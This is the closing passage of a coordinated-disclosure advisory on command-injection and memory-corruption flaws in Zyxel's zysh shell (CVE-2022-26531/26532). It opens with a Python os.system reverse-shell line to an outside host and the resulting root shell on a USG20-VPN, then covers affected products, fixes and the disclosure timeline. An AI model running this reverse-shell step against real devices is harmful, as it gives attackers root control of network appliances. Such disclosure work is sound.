10 packets received by filter
0 packets dropped by kernel
Router# #
[press enter again]
  File "<stdin>", line 1
    ^
SyntaxError: invalid syntax
>>> import os
>>> os.system("bash -i >& /dev/tcp/<REDACTED>/23234 0>&1")

This will get you a privileged reverse shell:

raptor@gollum:~$ nc -nvlp 23234
Listening on 0.0.0.0 23234
Connection received on <REDACTED> 54330
bash: cannot set terminal process group (25792): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1# uname -a
uname -a
Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon #2 Fri Sep 24 00:34:21 CST 2021 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7010p1.2-800-AAP) GNU/Linux
bash-5.1# id
id
uid=0(root) gid=10000(operator) groups=0(root),10000(operator)
bash-5.1#

Of course, you can choose to execute your favorite Python code instead.

Apparently, we managed to find a way to connect the standard input of the
Web Console to the standard input of the python process we spawned with the
first command, in a mind-bending exploit. To preserve our sanity, we have
not thoroughly investigated how this is happening... but it works! And it
is very reliable.

On our test device, this exploitation vector only works from the Web
Console, as an authenticated admin or limited-admin user. As an added
benefit, as we have seen, the Web Console spawns zysh as root.

We do not exclude other ways to exploit the described vulnerability,
perhaps by creating or overwriting critical system files. It could also be
easily abused to clobber arbitrary files and cause a Denial of Service
condition on vulnerable devices, although we are not going to provide a
proof-of-concept exploit for this (we are pretty sure you can easily figure
it out on your own anyway).


--[ 6 - Affected products

According to Zyxel, zysh is present on a wide range of products, including
their security appliances such as FLEX, ATP, USG, VPN, and ZyWALL [9], AP
controllers and APs.

Our audit was conducted exclusively on a Zyxel USG20-VPN test device with
Firmware 5.10. However, other products and firmware versions have been
confirmed by Zyxel to be affected by the same vulnerabilities.


--[ 7 - Remediation

During the whole coordinated disclosure process, Zyxel was very responsive.
Working with them has been a pleasure and we would like to publicly
acknowledge it, as unfortunately this is not always the case with every
vendor.

The memory corruption bugs were collectively assigned CVE-2022-26531, while
the OS command injection vulnerability was assigned CVE-2022-26532. They
were fixed by Zyxel in different versions of their firmware. Please refer
to their advisory for patching information.

We have not checked the effectiveness of the fixes.


--[ 8 - Disclosure timeline

2022-02-25: Zyxel was notified via <security@zyxel.com.tw>.
2022-02-25: Zyxel acknowledged our vulnerability reports.
2022-03-17: Zyxel assigned CVE-2022-26531 and CVE-2022-26532 to the
	    reported issues and informed us of their intention to publish
            their security advisory on 2022-05-24.
2022-03-18: As a token of their appreciation, Zyxel gave us a certificate
            of recognition.
2022-05-24: Zyxel published their security advisory, following our
            coordinated disclosure timeline.
2022-06-07: HN Security published this advisory with full details.


--[ 9 - References

[0] https://www.zyxel.com/
[1] https://hnsecurity.it/blog/tag/zyxel/
[2] https://www.dropbox.com/s/kvm5xwxqfrwge0t/USG20-VPN_5.10.zip?dl=1
[3] https://en.wikipedia.org/wiki/MIPS_architecture
[4] https://gtfobins.github.io/gtfobins/tcpdump/
[5] https://www.tcpdump.org/manpages/tcpdump.1.html
[6] https://twitter.com/pulsoid/status/1368146791473045504
[7] http://phrack.org/issues/70/13.html#article
[8] https://github.com/0xdea/exploits/blob/master/zyxel/raptor_zysh_fhtagn.exp
[9] https://support.zyxel.eu/hc/en-us/articles/360013941859


Copyright (c) 2022 Marco Ivaldi and Humanativa Group. All rights reserved.